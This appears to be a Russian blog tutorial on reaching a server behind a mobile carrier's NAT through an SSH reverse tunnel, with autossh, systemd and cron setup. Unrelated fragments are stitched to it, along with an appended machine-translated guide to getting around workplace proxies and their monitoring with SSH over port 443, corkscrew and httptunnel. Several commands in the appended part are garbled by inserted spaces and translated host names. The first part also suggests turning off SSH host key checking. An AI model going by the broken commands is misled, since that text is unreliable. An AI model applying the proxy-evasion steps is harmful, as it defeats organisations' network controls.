В Firefox в настройках прописываем Настройки->Дополнительно->Сеть->Настроить) и ставим Узел SOCKS localhost 17778
Запускаем PuTTY через созданный на предыдущем шаге ярлык и опр
Подключаемся к серверу за NAT при помощи туннеля SSH. Простая и понятная инструкция.
Однажды, в студеную зимнюю пору, возникла у меня потребность в открытии некоторых ресурсов внутреннего сервера частной сети внешним пользователям. Сервер сам удобно расположился в скромной серверной на краю промышленной зоны, в предместьях небольшой подмосковной деревушки. Где из всего многообразия способов подключения к сети Интернет, доступен только 4G модем. Да и тот, изредка пытается перейти на сеть 3G, несмотря на могучую внешнюю направленную антенну.
В довесок к нестабильной связи, российские сотовые операторы, не желают раскошеливаться на современное аппаратное и программное обеспечение и, как следствие, пользователям доступны только IPv4 сети. Никаких IPv6 нет и в помине, да и не планируется в ближайшее столетие. Плюс все это находится за NAT провайдера. Другими словами, пробраться извне к серверу, расположенному в локальной частной сети, которая подключена к глобальной сети через частную сеть сотового оператора — задача, невыполнимая без использования посредника обладающего реальным IP-адресом. Если свой NAT на своем роутере еще можно как-то настроить для подключения извне, то с NAT провайдера поделать решительно ничего нельзя.
Типичная топология подключения в промзоне
Итак, для того, чтобы иметь хоть какую-то возможность получить доступ к ресурсам сервера в локальной сети промышленной зоны необходим посредник. В качестве такого посредника я решил использовать самый простой и дешевый вариант VPS-сервера у хостинг-провайдера. Ресурсы сервера мизерны и смехотворны. ОЗУ всего около 300 мегабайт, дисковое пространство порядка 10 гигабайт, а процессор вообще один. У меня телефон мощнее раз так в десять, чем этот VPS. Но у него имеется то, чего нет у моего телефона, а именно белый статический IP-адрес сети IPv4, да еще и привязанное доменное имя. А это значит, что он доступен с любой точки глобальной сети Интернет. И прокинув какой-то канал или, правильнее, туннель от сервера за NAT к VPS-серверу, можно будет подключаться к серверу в локальной сети из любой точки сети глобальной.
Вариант решения задачи с использованием внешнего сервера
Кстати, здесь и далее я буду использовать адресацию и примеры, построенные на основе двух виртуальных машин, работающих на одном компьютере (и настоятельно рекомендую, прежде чем устанавливать полноценный туннель между серверами, потренируйтесь на «виртуалках», потом будет меньше восстанавливать через удаленную консоль). Машина первая, Ubuntu-VPS работает через сетевой мост в локальной сети. Это значит, что я могу к ней подключиться с любого компьютера в моей локальной сети. Вторая виртуальная машина, назовем ее просто — Ubuntu, подключается к сети через NAT среды виртуализации. Она может выходить в локальную сеть, может достучаться до любого сервера в сети Интернет, а вот к ней попасть снаружи нельзя никак. NAT надежно защищает доступ ко второй виртуальной машине. На обеих виртуальных машинах установлена серверная версия Ubuntu 18.04 LTS с актуальной версией OpenSSH.
Прототип VPS-сервера у провайдера в моей виртуальной машине имеет адрес 192.168.1.16. Этот адрес доступен из моей локальной сети 192.168.1.0/24 равно как и с основного компьютера. Я могу подключиться к серверу Ubuntu-VPS через SSH, могу его «пропинговать». Вторая виртуальная машина получила адрес 10.0.2.15 и я не могу подключиться к Ubuntu извне: с основного компьютера, из локальной сети, даже с Ubuntu-VPS. А вот с Ubuntu я могу выйти в Интернет, могу подключиться к Ubuntu-VPS по SSH, могу подключиться к любому компьютеру в моей локальной сети. Так работает NAT.
Сервер за NAT может достучаться до внешнего сервера
В качестве порта, который нужно будет вывести наружу из-за NAT, я буду использовать обычный http-порт с номером 80. Чтобы что-то на нем отвечало, я установлю на сервер Ubuntu веб-сервер Apache (устанавливаем через ‘sudo apt install apache2‘). И собственно задача по прокидыванию будет решена, когда я с любого компьютера в моей локальной сети смогу получить веб-страничку Apache с сервера Ubuntu.
Осталось только решить при помощи чего организовать туннель между Ubuntu-VPS и Ubuntu.
Вообще проблема соединений, безопасных соединений, двух и более компьютеров через публичные сети — стара как мир компьютеров. Поэтому еще в старые, добрые, «ламповые» времена на свет появилась технология VPN. Она-то как раз и предназначена для создания безопасного соединения между компьютерами. На страницах своего блога я уже рассматривал проблематику строительства VPN-сетей как минимум дважды: «Подключаемся к удаленному роутеру ZyXEL по IPsec VPN через StrongSwan на Headless Ubuntu 14LTS» и «SoftEther VPN — проходящий сквозь огненную стену». И вроде бы у технологий VPN есть все, что нужно, чтоб создать туннель между серверами и позволить внешним пользователям подключаться к серверу за NAT. Но тут, как всегда, есть определенные нюансы:
- Далеко не всегда провайдер, особенно мобильный, с радостью пропустит через свое подключение VPN-соединение. Да и не каждый клиентский роутер позволит такую вольность. Поэтому вид VPN-соединения нужно очень тщательно выбирать и подбирать под конкретные условия.
- Вариантов VPN-соединений существует масса: SSTP, L2TP, IPsec, OpenVPN, PPTP и тому подобные. А еще ведь есть и разные реализации всего перечисленного.
- Неподготовленному, начинающему пользователю будет тяжело не только разобраться, но и установить, да настроить VPN-соединение. VPN штука непростая.
И как вывод: весь штат функций VPN несколько избыточен для решения такой простой задачи, как прокинуть порт-другой из-за NAT на внешний сервер, да открыть их там пользователям для доступа. Поэтому проводим изыскания далее.
Многие пользователи слышали, а некоторые активно используют proxy-сервера. Во времена, когда сетевые пакеты в Интернет можно было передавать дискетками… Всего десять-пятнадцать лет тому назад пользователи подключались к глобальной сети посредством модемов по проводной телефонной сети. На стол ставилась коробочка, в которую подключались провода из телефонной розетки, коробочка дозванивалась до провайдера и начинала шипеть. Скорости тогда были мизерные, а каналы узенькие, и чтобы не состариться в ожидании, когда же прокачается очередная страничка, провайдеры устанавливали у себя могучие proxy-сервера. Они кешировали популярные веб-странички у себя в памяти или на жестком диске и быстро отдавали сохраненное пользователю. Таким образом, существенно снижался трафик в сети, ведь пользователи постоянно ходят на одни и те же веб-сайты. Сейчас же proxy-сервера используются больше для обхода различных блокировок. Пропал доступ к любимому сайту из-за того, что на нем разместили что-то нарушающее закон? Не беда! Подключаешься через proxy и все заработало как и прежде! Но все, почему-то, забывают, что кроме привычных HTTP proxy-серверов, человечеством была разработана технология SOCKS. По сути, это те же самые proxy, но разработанные специально для прохождения фаерволов (и как следствие NAT тоже).
Для операционной системы Ubuntu доступно сразу несколько реализаций SOCKS-серверов. Например, норвежский Dante или же российский 3proxy. И та и другая реализация куда легковеснее, чем любой из традиционных VPN, настраиваются они тоже легче. Но, как оказалось, есть вариант еще проще и изящнее.
Протокол SSH появился на свет в своей первой инкарнации еще в 1995 году, когда Интернет еще только делала свои первые робкие шаги по планете в роли глобальной сети. С тех пор протокол, применяемый в основном для безопасного удаленного управления серверами, значительно окреп, возмужал и просочился даже в Windows. А в Ubuntu OpenSSH вообще штатное средство, которое устанавливается в серверных редакциях системы даже без запроса пользователя.
SSH есть даже в PowerShell под Windows 10
Все так привыкли, что SSH применяется только и исключительно для удаленного управления, что знания о том, что при помощи SSH можно создавать туннели, остались только у аксакалов от IT, да саксаулов. А ведь банальный, штатный SSH, который уже установлен на обоих серверах, способен не только прокинуть порты из-за NAT, но и провернуть куда более сложные задачи, вплоть до создания того же самого полноценного VPN-соединения, либо же работать просто как SOCKS-proxy. Но не будем спешить и пройдемся по всем шагам, которые необходимо выполнить, чтобы тривиальная задача о проброске портов заработала. И если честно, то пришлось потратить изрядно времени, чтобы разобраться во всех нюансах настройки SSH-туннеля.
Дальнейшая инструкция может быть не исчерпывающей. Но в моем случае она заработала без сбоев не только в боевых условиях, но и на двух независимых тестовых сборках в виртуальных машинах. Во избежание гибели человеческих жертв, настоятельно рекомендую проверить, что у вас, при попытке повторения эксперимента, есть консольный (не SSH) доступ к вашим серверам. Иначе, при простейшей ошибке в конфигурации вы можете оказаться без удаленного доступа к вашим машинам. И сразу же еще одно важное замечание для пользователей SSHGuard и подобных систем по защите от подбора паролей — будьте готовы, что он вас заблокирует, если вы начнете ломиться на сервер с ошибочными аутентификационными данными. Тут тоже поможет доступ через консоль (у VPS-хостеров, как правило, она доступна через веб). Сбросить временную блокировку вашего адреса можно перезагрузив SSHGuard следующей командой ‘sudo service sshguard restart‘.
Шаг 1. Создаем SSH-туннель между серверами.
Ну, что же. Приступим. У нас есть два сервера: Ubuntu-VPS и Ubuntu. На обоих уже установлена операционная система Ubuntu Server, а заодно и OpenSSH. На сервере Ubuntu-VPS желательно создать отдельного пользователя, который по своей настройке прав будет использоваться только и исключительно как пользователь для создания туннеля SSH. Каналы SSH хоть и надежны, но в случае компрометации сервера за NAT, злоумышленник сможет получить доступ и к VPS-серверу, если устанавливать туннель под каким-либо привилегированным пользователем.
При создании тоннеля необходимо помнить, что инициируется туннелирование всегда с того сервера, что располагается за NAT. Соответственно в нашем случае мы должны создавать туннель с сервера Ubuntu. Поэтому логинимся на сервер Ubuntu и проверяем способность его подключиться к серверу Ubuntu-VPS при помощи команды ‘ssh 192.168.1.16‘. Где 192.168.1.16 есть адрес сервера Ubuntu-VPS.
Подключение по SSH от сервера за NAT к удаленному серверу
Если все хорошо и подключение установлено, то выходим из него через ‘exit‘ и приступаем к созданию туннеля при помощи команды ‘ssh -N -R 8080:localhost:80 [email protected]‘. Где, параметр ‘-N‘ означает, что после создания туннеля никакая команда на той стороне не будет выполняться. Параметр ‘-R 8080:localhost:80‘ означает, что создается так называемый обратный (reverse) туннель. 8080 означает, что входной точкой туннеля на удаленном сервере (в нашем случае это 192.168.1.16 или же Ubuntu-VPS) будет выступать порт 8080. Параметр ‘localhost‘ означает адрес того сервера, чей порт будет пробрасываться. В нашем случае, когда используется ресурс с самого сервера можно использовать не только ‘localhost‘, но и 127.0.0.1, либо же вообще прописать доменное имя или сетевой адрес нашего сервера Ubuntu. И последний параметр ‘[email protected]‘ передает имя пользователя, под которым на удаленном (Ubuntu-VPS) сервере будет создан туннель, а так же и сам адрес (или доменное имя) удаленного сервера. Напомню, что пока мы находимся на сервере Ubuntu.
Устанавливаем SSH-туннель между сервером за NAT и внешним сервером
При подключении удаленный SSH-сервер запросит ввести пароль пользователя указанного для создания туннеля (в нашем случае это vlad). А после… После ничего происходить не будет, кроме как отображение мигающего стимула командной строки. Собственно тоннель уже создан и он работоспособен. Осталось только его проверить. Для этого подключаемся к серверу Ubuntu-VPS (на сервере Ubuntu установлен Apache2 со штатным конфигом) и запускаем команду ‘wget localhost:8080‘
Проверка при помощи wget доступность ресурса сервера за NAT
Если все работает, то утилита wget скачает html-страничку доступную на 8080-порту сервера Ubuntu-VPS. Это значит, что SSH-туннель уже есть и он работает! И им уже почти можно пользоваться. Если попробовать подключиться к серверу Ubuntu-VPS на порт 8080 с основной машины или же из локальной сети, то скорее всего браузер вернет ошибку подключения. Как от нее избавиться будет пояснено в шаге 2. Но если в вашей установке браузер сразу же отобразит стандартную html-страничку Apache, то можно смело переходить к шагу 3.
Небольшое замечание по поводу номера порта. Почему я выбрал на Ubuntu-VPS порт 8080, а не 80? Ответ тут прост. Конечно же, можно было бы сформировать параметр и как ‘80:localhost:80‘, тогда страничка открывалась бы на стандартном порту, но использование портов с номерами ниже 1024 требует администраторских прав. Но ведь мы же не хотим создавать туннель с административным пользователем? Не хотим же? В крайнем случае, можно воспользоваться переназначением портов уже на Ubuntu-VPS, например, через IPTables.
Кстати, туннель можно запускать, не занимая терминальную сессию. Для этого можно применить ключ ‘-f‘. В таком случае, после подключения и ввода пароля, ssh на машине-инициаторе туннель уйдет в фон и в этой же терминальной сессии можно будет продолжать работать как и прежде. Но, данный ключик доступен не во всех версиях SSH, поэтому попробуйте обновиться, если вдруг SSH будет ругаться на неверный ключ.
Шаг 2. Делаем доступным порт 8080 для доступа извне.
Если при установленном и работающем туннеле получить страничку Apache можно только с сервера Ubuntu-VPS, то значит в настройках сервера SSH необходимо включить доступ к пробрасываемым через тоннель портам.
Редактируем любым редактором конфигурационный файл SSH, расположенный по пути ‘/etc/ssh/sshd_config‘ на Ubuntu-VPS и записываем там строчку (или убираем символ комментария #) ‘GatewayPorts yes‘. Сохраняем и перезапускаем SSH-сервер командой ‘sudo service sshd restart‘.
Дефолтная страничка от Apache получена с сервера посредника
После перезагрузки сервера SSH, устанавливаем туннель и пробуем зайти на Ubuntu-VPS через браузер на основном компьютере. Все работает. И на этом можно было и закончить, если бы не потребность в большей автономности и автоматизации туннеля. Поэтому двигаемся далее.
Шаг 3. Подключаемся без ввода пароля.
Профессионалы рекомендуют подключаться по SSH не посредством ввода пароля, а при помощи аутентификации по сертификату. Дескать, так работает быстрее, да и надежнее в плане безопасности. Не будем с ними спорить, а применим эту практику, тем более что без аутентификации через сертификат о нормальном автоматическом старте туннеля речь не идет. Кому-то так или иначе придется вводить пароль от пользователя, под которым осуществляется создание туннеля.
Программисты, в целом, народец ленивый. Поэтому для устранения лишних действий по генерации сертификатов и их передаче на удаленный сервер были реализованы соответствующие подпрограммы. Ничего странного в этом нет, легче один день потерять на написание кода по удаленной установке сертификатов, зато потом все сделать за пять минут.
Операцию необходимо проводить на том компьютере, который устанавливает туннель, в нашем случае это сервер Ubuntu. Наличие подключенного туннеля необязательно. Для начала генерируем ключи аутентификации при помощи команды ‘ssh-keygen‘.
Генерация сертификатов
При генерации сертификатов нет необходимости вводить кодовую фразу (passphrase), ее желательно оставить пустой. Это уменьшает безопасность в целом, но, в противном случае, кодовую фразу придется вводить каждый раз при подключении к удаленному серверу, либо выдумывать очередные грабли по обходу. Следующим шагом необходимо передать наш сертификат на удаленный сервер, т.е. на Ubuntu-VPS. Операция осуществляется всего одной командой ‘ssh-copy-id -i ~/.ssh/id_rsa.pub [email protected]‘. Где, ключ ‘-i ~/.ssh/id_rsa.pub‘ указывает на публичный ключ сгенерированный ранее. Обратите внимание, что публичный и секретный ключи были сгенерированы в домашней директории пользователя, под которым и производилась генерация, в папке ‘.ssh‘. Второй параметр ‘[email protected]‘ определяет пользователя, под которым произойдет подключение к удаленному SSH-серверу для установки сертификата публичного ключа. При подключении придется ввести пароль этого пользователя. Соответственно сам пользователь у нас ‘vlad‘ и адрес 192.168.1.16 принадлежат нашему серверу Ubuntu-VPS.
После установки сертификата можно провести проверку, работает ли сертификат. Для этого подключаемся по SSH к Ubuntu-VPS командой ‘ssh [email protected]‘. Если все настроено верно, то SSH-сессия откроется без запроса пароля, и мы увидим консоль удаленной машины. Все работает, выходим из сессии SSH через ‘exit‘.
Далее, необходимо добавить сгенерированный секретный ключ в агента сертификации ssh-agent. На этом этапе могут возникать различные по своей природе трудности, истинная причина которых может быть ясна далеко не всегда и с ходу. На всех моих серверах при попытке добавления сертификата секретного ключа в агента выпадает ошибка «Could not open a connection to your authentication agent«.
Как правило, проблема заключается в том, что на сервере не запущен SSH-Agent и не установлена переменная среды окружения ‘SSH_AUTH_SOCK‘. Без этой переменной SSH, при подключении, не знает, куда именно подключаться для получения сертификата секретного ключа. Опять же речь тут идет про сервер-инициатор создания туннеля.
Добавление сертификата в ssh-agent
Но запустить просто так агента не выйдет. В сети есть несколько вариантов того, как можно побороться с ошибкой. Мне гарантировано помогает следующий способ: запускаем сертификационного агента через команду ‘eval «$(ssh-agent)»‘. Агент запускается и устанавливает требуемую переменную окружения. После чего можно запускать и ‘ssh-add‘, который добавит сертификат куда следует.
Обратите внимание, что если вы не добавите сертификат в сертификационного агента, то возможно возникновение проблем при запуске туннеля в автоматическом режиме.
PS. Вообще, после поверхностного изучения функций SSH-Agent создается впечатление, что все работает и без него, если сертификаты созданы без использования passphrase. А агент требуется как раз для того, чтобы запускать соединение SSH с сертификатом который был зашифрован при помощи кодовой фразы, но без ее ввода. При этом сам агент должен быть запущен на сервере, чтоб данный механизм сработал.
Шаг 4. Автоматически восстанавливаем SSH-туннель.
Если в условиях виртуальной машины соединение между двумя ее экземплярами сеть настолько стабильная, насколько стабилен сам компьютер, на котором крутится виртуалка, то в реальной жизни каналы связи оставляют желать много лучшего. Особые радости жизни привносят соединения через радиоканал, например, как в поставленной задаче. В этом случае разумно было бы как-то отслеживать наличие соединения и его автоматически восстанавливать.
Поступить тут можно двумя способами. В первом случае мы мониторим работоспособность туннеля и в случае его отсутствия перезапускаем туннель. В SSH присутствует стандартная схема для мониторинга состояния подключения, причем как на стороне сервера, так и на стороне клиента. Суть ее заключается в том, что SSH будет проверять наличие рабочего подключения и в случае отсутствия такового будет просто завершать SSH-сеанс, избавляя нас от зависших сессий.
На серверной части, а именно на Ubuntu-VPS, редактируем конфигурационный файл SSH-сервера ‘/etc/ssh/sshd_config‘. В него добавляем (или раскомментируем) следующие параметры:
TCPKeepAlive yes
ClientAliveInterval 30
ClientAliveCountMax 3
И перезагружаем SSH-сервер командой ‘sudo service sshd restart‘. Параметр ‘TCPKeepAlive yes‘ включает мониторинг работоспособности ssh-подключения. Параметр ‘ClientAliveInterval 30‘ проверяет живость клиентского подключения каждые 30 секунд, впрочем, параметр можно установить на усмотрение администратора. Параметр ‘ClientAliveCountMax 3‘ означает количество попыток, которые будут произведены с интервалом указанном в ClientAliveInterval до того, как соединение будет закрыто со стороны сервера. В нашем примере, если что-то произойдет с клиентом, например, компьютер просто отключится от сети, то через 90 секунд Ubuntu-VPS закроет туннельное соединение.
При создании туннельного подключения со стороны клиента есть возможность указать аналогичные параметры при подключении. Устанавливаются они через параметр ‘-o‘. В нашем случае строка подключения примет следующую форму: ‘ssh -N -o «ServerAliveInterval 30» -o «ServerAliveCountMax 3» -R 8080:localhost:80 [email protected]‘. Обратите внимание, что параметры на клиенте слегка отличаются от тех, что на сервере. Важно их не перепутать.
Далее, любым автоматизированным средством, например, через периодические задачи cron, мы отслеживаем наличие процесса с ssh-туннелем в списке задач и в случае его отсутствия запускаем процесс еще раз. Но есть вариант удобнее и практичнее. Саксаулы рекомендуют использовать AutoSSH, как вершину ленивости программистской мысли.
AutoSSH уже входит в репозитории Ubuntu, поэтому устанавливаем ее через ‘sudo apt install autossh‘ на сервер-клиент Ubuntu.
После установки AutoSSH наша строка для подключения на Ubuntu примет следующую форму ‘autossh -M 0 -N -o «ServerAliveInterval 30» -o «ServerAliveCountMax 3» -R 8080:localhost:80 [email protected]‘. В команде мало что поменялось, ssh заменился на autossh, добавился параметр ‘-M 0‘. Изначально предполагалось, что AutoSSH будет мониторить порт (и даже два, один для отправки пакета KeepAlive, второй для его приема), указанный в параметре ‘-M‘ на наличие отклика. Этот порт должен быть свободным, да и на той стороне что-то должно отвечать, что, мол, сервис жив, все работает. Но, при наличии KeepAlive в самом SSH, необходимость тратить порты и городить ответную часть — отпала. Поэтому просто выключаем эту функцию через приведенный параметр.
При некоторых пертурбациях на сервере, проброска порта может не состояться, даже если был поднят туннель. То есть, со стороны SSH-сервера и SSH-клиента, все будет выглядеть нормально, туннель будет существовать и работать, но вот порт не будет проброшен от одного сервера к другому. Для автоматической перезагрузки туннеля в таком случае стоит применить дополнительный параметр ‘-o «ExitOnForwardFailure=yes»‘. В таком случае, если возникает проблема с проброской портов, то SSH-туннель будет отключаться. И повторно подключаться через AutoSSH. Результирующая строчка подключения трансформируется в следующее: ‘autossh -M 0 -N -o «ServerAliveInterval 30» -o «ServerAliveCountMax 3» -o «ExitOnForwardFailure=yes» -R 8080:localhost:80 [email protected]‘.
Шаг 6. Поднимаем SSH-туннель при перезапуске сервера.
На текущем шаге все работает, но вот только после перезагрузке сервера необходимо каждый раз запускать руками ssh-туннель. Небольшое неудобство, которое стойко перенесет бухгалтер или инженер, но никак не программист. Поэтому необходимо каким-то образом запустить туннель в автоматическом режиме при старте сервера. Аксакалы сходу предложат вариант через CRON, но есть вариант более жесткий с применением systemd. Рассмотрим оба способа.
Создаем сервис в systemd
Создаем в директории ‘/etc/systemd/system/‘ сервера Ubuntu файл с наименованием нашего сервиса, например, ‘autossh-tunnel.service‘. Не забыв про права суперпользователя, вызываем редактор ‘sudo nano /etc/systemd/system/autossh-tunnel.service‘ и забиваем туда следующий текст:
[Unit]
Description=AutoSSH tunnel to Ubuntu-VPS
After=network-online.target
[Service]
Environment=»AUTOSSH_GATETIME=0″
ExecStart=/usr/bin/autossh -M 0 -o «ServerAliveInterval 30» -o «ServerAliveCountMax 3» -o «ExitOnForwardFailure=yes» -i /home/vlad/.ssh/id_rsa -N -R 8080:localhost:80 [email protected]
[Install]
WantedBy=multi-user.target
Здесь стоит дать некоторые пояснения. Параметр ‘After=network-online.target‘ означает, что запуск произойдет только тогда, когда на сервере будет осуществлено подключение к сети, когда сервер получит свой IP-адрес и вообще сможет выходить в сеть. Параметр ‘Environment=»AUTOSSH_GATETIME=0″‘ действует аналогично ключу ‘-f‘, т.е. запускает исполнение программы в виде фонового процесса. Попытка использования ‘-f‘ в systemd приведет к ошибке. Параметр ‘WantedBy=multi-user.target‘ означает, что сервис будет запущен, когда произойдет нормальная загрузка системы и будет доступна неграфическая оболочка для пользователей.
Поскольку по умолчанию туннель на клиентской машине запускается от имени суперпользователя, то в строку инициализации AutoSSH добавляем новый параметр ‘-i /home/vlad/.ssh/id_rsa‘. Он указывает путь к сертификату секретного ключа, который был создан на шаге 3.
Если при подключении к удаленному серверу возникает ошибка «Host key verification failed«, то следует применить следующее:
- Осуществить запуск AutoSSH от имени суперпользователя ‘sudo /usr/bin/autossh -M 0 -o «ServerAliveInterval 30» -o «ServerAliveCountMax 3» -o «ExitOnForwardFailure=yes» -i /home/vlad/.ssh/id_rsa -N -R 8080:localhost:80 [email protected]‘. При этом SSH попросит подтвердить открытый сертификат удаленного сервиса, после этого ошибка «Host key verification failed» пропадет.
- Альтернативой можно добавить новый параметр в команду запуска SSH, даже два, которые позволяют пропускать проверку сертификата удаленного сервера. Для этого добавляем ‘-o «UserKnownHostsFile=/dev/null» -o «StrictHostKeyChecking=no»‘.
Свистопляска связана с тем, что изначально мы запускали наш туннель исключительно под пользователем vlad, и все ключи были сгенерированы именно для него. Поэтому нужно было либо принять ключ удаленного сервера для пользователя root, т.е. запустив туннель через sudo и приняв приглашение системы о приемке ключа. Либо установить опцию об игнорировании проверки удаленного ключа. Игнорирование позволит продолжать работать с удаленным сервером, даже если на нем была произведена замена операционной системы, изменены сертификаты ключей, подменен сервер на другой. Конечно, это повышает стабильность работы туннеля, но с другой стороны совершенно не гарантирует безопасность такой работы. Поэтому стоит поискать компромисс…
Двигаемся далее. Перезагружаем сервисы в systemd при помощи команды ‘sudo systemctl daemon-reload‘. Запускаем сервис командой ‘sudo systemctl start autossh-tunnel.service‘. И проверяем, что у нас поднялся туннель. Для этого можно просто зайти через браузер на основной машине по адресу ‘http://192.168.1.16:8080‘. Должна открыться страничка от Apache. Если же страничка не открывается, то необходимо смотреть и проверять лог-файл syslog на предмет сообщений об ошибках.
И если все работает так как следует, то включаем автозагрузку сервиса при старте системы командой ‘sudo systemctrl enable autossh-tunnel.service‘.
Создаем задачу в планировщике
Запускать туннель от имени суперпользователя, наверное, не очень здорово, но мне так и не удалось запустить его от пользователя vlad при автоматической загрузке через systemd. Несмотря на все мои ухищрения, запуск упорно происходит от пользователя root при любых раскладах. Поэтому я поступил, как самый банальный нуб аксакал и прописал запуск туннеля SSH в обычный планировщик на сервере Ubuntu.
Проверка под каким пользователем загружен процесс
Для этого я, не находясь с правами суперпользователя, т.е. без использования sudo, ввел команду ‘crontab -e‘. После чего ввел следующую инструкцию планировщика: ‘@reboot /usr/bin/autossh -M 0 -o «ServerAliveInterval 30» -o «ServerAliveCountMax 3» -o «ExitOnForwardFailure=yes» -i /home/vlad/.ssh/id_rsa -N -R 8080:localhost:80 [email protected]‘. Не забыв в конце текста вставить переход на новую строку и возврат каретки (просто нажал Enter). В результате, при запуске системы, еще до входа пользователя, автоматически поднимается туннель от не root пользователя. Собственно, что и требовалось реализовать.
Шаг 7. Прокидываем несколько портов через SSH-туннель.
При желании можно создать сразу несколько туннелей. Для этого можно просто клонировать сервисы для systemd, размножать задачи в CRON или же запускать туннели в ручном режиме с установкой флага ‘-f‘.
При работе туннелей я не заметил какой-то уж заметной нагрузки, как на сервер, так и на клиента. Похоже, что даже дохлые современные сервера способны справляться с нагрузкой туннелирования играючи.
Знатоки Linux автоматически посоветуют начать копать как в сторону ключа ‘-w‘, так и в сторону директивы sshconfig. Но, оставлю данное упражнение для любителей залезть поглубже в тему.
Upd1.: Если запуск из-под cron не выходит, ssh-сессия завершается с ошибкой, например как-то так «ssh exited prematurely with status 255; autossh exiting«, то стоит попробовать сделать три вещи:
- Прописать в строку запуска autossh в cron ‘-i /home/vlad/.ssh/id_rsa‘, тем самым указав программе точно, где лежит ключ (сертификат).
- Дополнительно стоит попробовать указать ключ ‘-f‘ сразу после autossh. При помощи этого ключа мы указываем, что сессия ssh должна запуститься в фоновом режиме.
- Прописать пути ко всем зависимым директориям в crontab включая и директорию где располагаются ключи (сертификаты). В моем случае путь выглядит примерно так PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/home/vlad/.ssh
Во всех случаях выше необходимо заменить vlad на пути в ваших системах.
- Боремся с ошибкой shh-add Could not open a connection to your authentication agent. Часть 1.
- Боремся с ошибкой shh-add Could not open a connection to your authentication agent. Часть 2.
- Боремся с ошибкой shh-add Could not open a connection to your authentication agent. Часть 3.
- Автоматическое подключение туннеля SSH при помощи AutoSSH и использование сервиса для запуска туннеля при автозагрузке.
- Различия в network*.target в systemd.
- Mosh – еще одна альтернатива SSH для нестабильных соединений.
- О ssh-agent и ssh-add.
Опубликовано автором kvv в следующих категориях:
Soft железо
Поделиться ссылкой:
SSH через прокси
Связанные страницы: SSHThroughHTTPProxy
SSH через прокси-сервер или через него
В сегодняшнем жестоком сетевом мире нам слишком часто мешают (зло)
прокси-серверы компании, которые ограничивают то, как мы можем пользоваться Интернетом на работе, в
дома у клиентов или даже в некоторых случаях дома или у друзей.
Прокси-серверы ограничивают не только ваши действия, но и протоколы.
принято, какие сайты вы можете посещать и какие TCP-порты пропускаются,
это также позволяет вашей компании или другу регистрироваться и контролировать вас.
Обратите внимание , что даже когда вы используете HTTPS через прокси, сервер
имя отображается, поэтому прокси-сервер ведения журнала увидит, какие HTTPS-серверы вы подключаете
к.
Я покажу вам несколько простых шагов, которые помогут вам обойти границы большинства
настройки прокси, что также даст вам больше свободы и предотвратит подглядывание
глаза, чтобы исследовать свои привычки просмотра!
Что вам нужно
Вам необходимо установить и запустить программное обеспечение за пределами того места, где вы
являются.В этом документе я называю это место «домом».
Место, куда вы хотите выйти из , — это то, что я называю «работой» в этом
документ. На «работе» вы стоите за злым прокси.
Дома
Вам нужен HTTP-прокси, работающий под управлением , и на самом деле он нужен только для
принимать подключения к прокси от localhost. У многих людей уже есть
Apache запускается и заставляет его загружать модуль прокси и настраивать его для
localhost сделать очень просто и быстро. Конечно, вы можете выбрать другой
прокси, например, squid, если хотите.В этом примере мы предполагаем
что прокси-сервер работает на порту 80 — так же, как и при типичной установке apache.
Вы можете включить HTTPS, FTP и другие протоколы в прокси
config.
Вам нужен sshd, работающий на порту 443 . Почти у всех уже есть
sshd уже запущен, вам просто нужно, чтобы он также прослушивал соединения на
порт 443. 443 обычно используется для HTTPS, и поэтому мы его используем — большинство
прокси настроены так, чтобы разрешать соединения с 443, поскольку компании хотят
позволяют своим сотрудникам использовать банки и другие веб-службы HTTPS на
сеть.
Возможно, излишне говорить, но вы должны убедиться, что ваш Apache или другой
Сервер httpd не использует порт 443 для HTTPS.
на работе
Вам нужен SSH-клиент , который может отправлять запросы CONNECT через
HTTP прокси компании. Если вы работаете в Windows, используйте Putty, как
он имеет встроенную поддержку туннелирования через HTTP-прокси. Если ты на
unix / linux (или cywgin) вы можете использовать openssh со штопором для прохождения через прокси
в порт вашего домашнего компьютера 443.
Если вы используете openssh, вы должны добавить следующую строку в свой
~ / .ssh / config файл:
ProxyCommand / usr / local / bin / corkscrew proxy.work.com 80% h% p
Вы настраиваете ssh-клиент на порт , перенаправляя локальный порт , скажем, 8080,
на локальный хост удаленного: 80. Теперь у вас есть канал для вашего дома
компьютер через надежно зашифрованное соединение. Конечно, вы также получаете SSH
войдите в систему, и вы можете запускать свои X-программы из дома, чтобы появляться на работе и т. д.
Командная строка openssh для подключения и перенаправления прокси-сервера может выглядеть следующим образом:
ssh -L 8080: localhost: 80 пользователь @ сервер.at.home -p 443
Настройте свой браузер на работе для использования «localhost: 8080» в качестве прокси для
все протоколы, которые вы включили в своем прокси дома.
Все последующие запросы браузера затем отправляются через SSH-соединение,
через прокси на домашний ssh-сервер, а оттуда на ваш прокси, и
в мире …
Путь прокси-сервера SOCKS
Вместо того, чтобы запускать дома HTTP-прокси для выхода в Интернет, вы можете
использовать туннель как прокси-сервер SOCKS.Это в основном позволяет вам ничего не запускать
вообще дома кроме ssh сервера.
Если у вас есть openssh на обоих концах, вы можете использовать этот более простой подход. Это
позволяет запустить туннель к вашей домашней машине и использовать этот туннель как
SOCKS-прокси вместо использования HTTP-прокси на другом конце туннеля. Эта
Кстати, вам не нужно запускать дома какое-либо другое программное обеспечение, кроме ssh-сервера
сам.
Вы можете запустить туннель / прокси-сервер SOCKS с рабочей стороны, выполнив
команда вроде:
ssh -D 8080 пользователь @ сервер.at.home -p 443
Вам может понадобиться упомянутая выше строка «ProxyCommand», чтобы убедиться, что ваш
Клиент ssh может подключиться к вашему ssh-серверу дома.
Впоследствии вам необходимо настроить рабочий браузер для использования прокси-сервера SOCKS.
теперь работает на порту localhost 8080.
Без CONNECT
В случаях, когда CONNECT не разрешает порт 443 вашего домашнего компьютера, вы
конечно можете попробовать другой порт — если он вообще разрешен, и тогда вы можете
необходимо переместить ваш прокси / веб-сервер с 80, если это единственный способ для вас.
Если вы не можете найти какой-либо полезный порт или если CONNECT вообще не разрешен,
вам необходимо установить туннель с использованием обычного HTTP, например httptunnel.
httptunnel — это клиент-серверное приложение, и вы хотите, чтобы сервер («hts»)
запустить на своем домашнем компьютере, прослушивая порт 80, и запустить клиент
(«htc») на вашем рабочем компьютере, настраивая туннель.
Дома возьмите входящее соединение на порт 80 и перенаправьте его на порт 22 (ssh):
hts -F локальный: 22 80
На работе подключитесь к дому через прокси-сервер компании и перенаправьте локальный порт (8022
в этом примере) к SSH, чтобы вернуться:
htc -P прокси.corp.com:80 -F 8022 server.at.home: 80
Дополнительные комментарии
